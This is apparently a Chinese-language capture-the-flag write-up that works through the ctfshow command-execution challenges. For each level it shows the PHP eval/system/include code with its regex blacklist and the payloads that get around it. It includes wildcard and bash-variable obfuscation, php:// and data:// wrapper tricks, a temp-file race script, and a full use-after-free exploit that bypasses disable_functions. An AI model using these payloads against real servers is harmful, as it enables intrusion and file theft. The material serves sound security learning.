ctfshow命令执行

web29

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag(无论大小写)
在这里插入图片描述
然后开始构造url

http://d21fb9a4-ae00-4ab5-89a5-21dbe59eaa19.challenge.ctf.show:8080/?c=system(%22tac%20fla*%22);

这样子就拿到flag了!

web30

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag|system|php这些字符!

?c=echo `tac *`;

在这里插入图片描述

web31

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了空格!
可以用%09这个来代替空格!

?c=echo%09`tac%09*`;

某些具有特殊意义的字符也用“%”连接对应的16进制ASCII码代替。

web32

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

把反引号和echo都给过滤了!
可以利用include和require函数!!!

?c=include$_POST[a]?>
post:a=php://filter/read=convert.base64-encode/resource=flag.php

先是include引入一个post变量,然后让post打印出来flag!
然后进行base64解码!!!

PHP 过滤器用于对来自非安全来源的数据(比如用户输入)进行验证和过滤。

这样子flag就得到了!

import requests
url = 'http://1d51fa1f-6dfe-4266-98c9-947e4b4869a0.challenge.ctf.show:8080/'

data = 'a=php://filter/read=convert.base64-encode/resource=flag.php'

res = requests.post(url+'?c=include$_POST[a]?>',data=data)
print(res.status_code)
print(res.text)

我想写个脚本来跑,但是这样子是没有办法输出结果的?不知到这么回事?


web33

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤了双引号,继续上一个脚本!

这个脚本web32-web36通杀,下面的也可以!

?c=include$_GET[0]?>&0=data://text/plain,<?php echo(`cat flag.php`);?>
或者
?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php

web34

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤一个:号,还是可以使用上一题的payload


web35

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤一个<号和一个=号,不过没有影响,继续使用前面的payload


web36

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这次增加过滤数字,但还是没有影响,继续使用前面payload

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

这里明显与前面不一样了!

?c=data:text/plain,<?=system("tac fla*");?>
或
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
//这个脚本需要查看源代码

在这里插入图片描述


web38

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

这次在前面基础上过滤了php和file,对我们无碍,因为我们使用的是php短标签,所以继续使用上面的payload

?c=data:text//plain,<?=system("nl fl*");?>

同样需要进行检查源代码!


web39

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

这里继续前面的payload!

?c=data:text//plain,<?=system("tac f*")?>

web40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
}
  1. localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
  2. pos():返回数组中当前元素的值
  3. scandir():获取目录下的文件
  4. array_reverse():将数组逆序排列
  5. next():函数将内部指针指向下一元素,并输出
  6. print_r(scandir(‘.’)); 查看当前目录下的所有文件名
  7. current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
?c=print_r(scandir(current(localeconv())));

我们先打印出当前目录下的文件!
在这里插入图片描述

  1. each() 返回数组中当前的键/值对并将数组指针向前移动一步
  2. end() 将数组的内部指针指向最后一个单元
  3. next() 将数组中的内部指针向前移动一位
  4. prev() 将数组中的内部指针倒回一位
  5. array_reverse() 以相反的元素顺序返回数组
?c=show_source(next(array_reverse(scandir(getcwd()))));
或
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

此时我们就需要打印出来flag了!
在这里插入图片描述


web41(暂时未做!)

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

过滤了数字和字母还有一些其他符号,但我们可以利用或运算符进行构造payload进行命令执行


web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null”
因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”


那么本文标题的语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。
2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

这里我再来进行一波解释:
0表示键盘输入,1表示屏幕输出,2表示错误输出!
‘ > ’ 默认标准输出重定向,与1>相同
2>&1 意思是把标准错误输出重定向到标准输出
&>file 意思是把标准输出和标准错误输出都重定向到文件file中

而我们想要得到输出,就不能让后面的进行执行,所以可以加上截断语句

?c=tac flag.php;
或
?c=cat flag.php;
cat flag.php%0a
cat flag.php||
cat flag.php%26
cat flag.php%26%26

在这里插入图片描述


web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了cat和;号,我们用其它的命令分隔符即可!

?c=tac flag.php||

web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了flag,利用通配符进行绕过!

?c=tac fl*%0a
?c=tac fl??????%0a(?与省略的ag.php数量一致)
?c=tac fl``ag.php||

web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多加了空格,这次可以使用%09进行绕过!%09是Tab的url编码!

?c=tac%09f*||

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

把数字进行了过滤,还有通配符*也进行了过滤,所以我们可以改用?进行匹配!

/?c=tac%09fla?.php||

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了几个读取文件的命令!我们可以继续用上一个payload!

/?c=tac%09fla?.php||

下面补充一波知识点!

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:
grep test *file
strings


web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

继续上一个命令。再补充一个命令

/?c=tac%09fla?.php||
或·
/?c=tac%09fl'ag'.php%0A
这个命令web47~49通杀

web49

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这题继续使用上一题payload!

?c=tac%09fl%27ag%27.php%0a
或
/?c=tac%09fla?.php||

web50

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这里把%进行了过滤,我们可以使用\进行绕过!

?c=tac<>fla\g.php||
或
?c=tac<fla'g'.php%0a

web51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这次对tac进行了过滤!

?c=ta\c<>fla\g.php||

web52

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这里过滤了尖括号,但是有$符!用 ${IFS}代替空格

?c=ta\c${IFS}../../../fla/g.php||
或
?c=ls${IFS}../../../||  (查看有flag)
?c=nl${IFS}/fl''ag%0a

web53

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

这次没有了回显,所以我们把||去掉即可!

/?c=ca\t${IFS}fla?.php

web54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这次过滤了很多字母,并且不能用\这个来进行分割了,但是还有一个grep可以使用

grep flag flag.php 查找flag.php文件中含有flag的那一行,并且打印出来

所以此时我们可以开始构造payload了

?c=grep${IFS}show${IFS}fl?g.php
或
?c=/bin/?at${IFS}f???????%0a
这里其实cat命令
?c=paste${IFS}fl?g.php%0a
paste 指令会把每个文件以列对列的方式,一列列地加以合并。
?c=uniq${IFS}f???????
uniq 可检查文本文件中重复出现的行列
这三个需要进行查看源代码!

web55

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls

所以这里我们可以使用base64命令

?c=/???/????64 ????????%0a
或者
?c=/???/???/????2 ????????
?c=/usr/bin/bzip2 flag.php
把flag.php压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来

web56

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这里连字母数字都给过滤了,所以上一个payload是不能够使用的!
此时接着看大师傅的博客!
发现是可以上传一个post包,这个文件会被保存在临时文件中/tmp/xx,此时我们可以用?进行匹配!

import requests
url = 'http://aafaf838-299e-408c-a8ba-9817b0d37714.challenge.ctf.show:8080/'
url += '?c=. /???/????????[@-[]'#构造url
while True:
    r = requests.post(url,files={'file':("dota.txt","cat flag.php")})#以post进行发包
    flag = r.text.split("ctfshow")#split() 通过指定分隔符对字符串进行切片,如果参数 num 有指定值,则分隔 num+1 个子字符串
    if len(flag)>1:#说明flag获得值了!
        print(r.text)#打印flag
        break#跳出循环

在这里插入图片描述


web57

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

这里连数字都给过滤了,可以利用$和()进行构造数字。提示为36,所以我们需要构造出36这个数字!
$(()) 代表做一次运算,因为里面为空,也表示值为0
$ ((~ $ (()))) 对0作取反运算,值为-1
$ (( $ ((~ $ (()))) $ ((~ $ (()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
$ ((~ $ (( $ ((~ $ (()))) $ ((~ $ (()))))))) 再对-2做一次取反得到1,所以值为1

harker = "$((~$(("+"$((~$(())))"*37+"))))"
print(harker)
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

然后查看页面源代码!


web58~web65

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

这里可以进行直接蚁剑链接gethell!
在这里插入图片描述


web59

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

代码没有改变!
直接蚁剑链接!
应该是考绕disable_functions!

c=show_source("flag.php");

web60~web65

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

这个show_source是没有被禁止的,所以继续上一个脚本!

  1. file_get_contents()
  2. highlight_file()
  3. show_source()
  4. fgets()
  5. file()
  6. readfile()

上面是一些读取文件的函数!这些函数都是可以使用的!

post:c=show_source("flag.php");

下面再补充一种做法

//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
     copy()
     rename()
//用法:
     copy("flag.php","flag.txt");            
     rename("flag.php","flag.txt");

66

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

这里就不能再用show_source函数了!
不过这里要用highlight_file()函数是可以使用的!

c=highlight_file("flag.php");

在这里插入图片描述
所以flag应该转移地方了!

c=print_r(scandir("/"));

在这里插入图片描述

c=highlight_file('/flag.txt');

web67

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
c=var_dump(scandir("/"));

然后

c=highlight_file("/flag.txt");

这道题禁用了print_r函数!


web68

无代码

这个有点像黑盒测试!
根据上题,先查看目录

c=var_dump(scandir('/'));

然后打印flag

c=include("/flag.txt");
这里highlight_file()函数给禁用了!

web69~web70

无代码
print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value."   ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

前面4个print_r都被禁用了,我们使用后面四个任意一个都可以,原理是通过遍历数组的形式进行读取。

c=$d=opendir("../../../");while(false!==($f=readdir($d))){echo"$f\n";}

这样子就在根目录下找到flag了!

c=include("/flag.txt");

web70

无代码

继续上一题的代码!


web71

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>
你要上天吗?

源码是在附件里面的,直接上页面时报错吓到我了!
可以看到它将数字和字母都给替换成了?号啦!
这里是不可以直接使用include(),但是我们可以看到其语句是在eval后面执行的,所以我们就可以加个强制退出就行了!

c=include("/flag.txt");exit();

web72

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

用这个进行查看目录,上一个不行了,被干趴下了!

open_basedir:将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开

disable_functions:用于禁止某些函数,也就是黑名单,简单来说就是php为了防止某些危险函数执行给出的配置项,默认情况下为空

然后我找个大师傅的exp

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

web73~web74

无代码
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

然后include一下

c=include("/flagc.txt");exit();

web74的脚本和上面的一样!再来敲一遍!

c=$a=new DirectorIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

c=include("/flagx.txt");exit();

web75(不会)~web76

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

这是个hint!
用这个来进行!


web77

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

这里接着使用上个命令

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

然后利用FF1扩展!php7.4才有!

c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();

此时再访问flag.txt页面就可以了!


web118

有个提示说flag在flag.php中,页面是个输入框!
在这里插入图片描述
源码里也有个提示!
fuzz测试后只有大写字母和${}:?.~能通过!
此时要使用bash内置变量进行利用了!

┌──(root💀kali)-[~]
└─# echo ${PWD} 
/root
                                                                                                      
┌──(root💀kali)-[~]
└─# echo ${PWD:0:1}      #表示从0下标开始的第一个字符
/                                                                                                                                                                                       
┌──(root💀kali)-[~]
└─# echo ${PWD:~0:1}      #从结尾开始往前的第一个字符
t
                                                                                
┌──(root💀kali)-[~]
└─# echo ${PWD:~0}      
t
                                                                             
┌──(root💀kali)-[~]
└─# echo ${PWD:~A}       #所以字母和0具有同样作用             
t
                                                                    
┌──(root💀kali)-[~]
└─# echo ${PATH}                            
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
                                                                    
┌──(root💀kali)-[~]
└─# echo ${PATH:~A}                
n
                                                                                                    
┌──(root💀kali)-[~]
└─# ls                                      
Desktop  Documents  Downloads  flag.txt  Music  Pictures  Public  Templates  Videos
                                                                                              
┌──(root💀kali)-[~]
└─# ${PATH:~A}l flag.txt
     1  flag{test}
                    

先来介绍一下!echo ${PWD} 这个命令是打印出当前的路径,当然这里也具有python里面的切片功能的!
此时我们可以进行构造出nl命令进行读取!

${${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

${PWD}
/var/www/html

所以payload为
${PATH:~A}${PWD:~A} ????.???
当然这样也可以:
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
这里再来做几个实验!
┌──(root💀kali)-[/]
└─# echo ${#HOME} 
5
                                                                          
┌──(root💀kali)-[/]
└─# echo ${#SHLVL}
1
                                                                          
┌──(root💀kali)-[/]
└─# echo ${PATH}  
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
                                                                          
┌──(root💀kali)-[/]
└─# echo ${PATH:${#HOME}:${#SHLVL}}
l
                                                                          
┌──(root💀kali)-[/]
└─# echo ${#RANDOM}                
4
                                                                          
┌──(root💀kali)-[/]
└─# echo ${PATH:${#RANDOM}:${#SHLVL}}
l
                                                                          

在这里插入图片描述


web119

这次将path给禁止了,所以我们不能构造了nl了,我们可以构造cat这个,它的权限一般为www.data这里可以得到at.

SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时 $ {SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。

php版本是7.3.22这就有了2这个数字了!

┌──(root💀kali)-[/]
└─# echo ${PWD:${#}:${SHLVL}}                                         1 ⨯
/

┌──(root💀kali)-[/]
└─# echo ${#HOSTNAME}
0

┌──(root💀kali)-[/]
└─# echo ${HOME:${#HOSTNAME}:${#SHLVL}}
/

┌──(root💀kali)-[/]
└─# echo ${#IFS}                                                      1 ⨯
4
                                                                          
┌──(root💀kali)-[/]
└─# echo ${##}  
1

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
或
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
这个是/bin/base64 flag.php
这个是hint
${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t

${PWD:${Z}:${#SHLVL}}    ====>   /

/bin/cat flag.php

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

web120

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

payload的长度为65以内!

